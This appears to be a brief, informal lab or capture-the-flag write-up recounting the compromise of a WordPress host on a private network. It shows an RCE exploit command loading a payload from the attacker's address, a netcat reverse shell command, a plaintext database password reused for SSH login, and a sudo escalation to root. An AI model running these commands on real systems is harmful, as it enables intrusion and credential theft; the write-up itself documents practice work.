RCE looks interesting.
Found the exploit locally.
Created a simple payload to read a /etc/passwd file
and executed the following command:
python wprce.py -t http://192.168.140.123/wordpress/ --payload-uri http://192.168.49.140/payload.txt
It worked!
Now let's note the usernames:
www-data, takis, and root are the valid usernames ---could bruteforce ssh later.
used the netcat reverse shell
nc -e /bin/sh 192.168.49.140 4444
anddd we got a reverse shell as www-data!!!

╔══════════╣ Searching uncommon passwd files (splunk)

Enumerating mySQL with creds:
mysql -u wp_user -e -p 'R3&]vzhHmMn9,:-5' "SHOW VERSION();"
mysql -u root -e -p 'R3&]vzhHmMn9,:-5' "SHOW VERSION();"
so.... just before I started enumerating the service, I realized the I tried to ssh to takis account with the password before the comma...
Now we are in takis...!!!
And.. simple sudo -l gave me a root shell!
This one was just like Alpha!
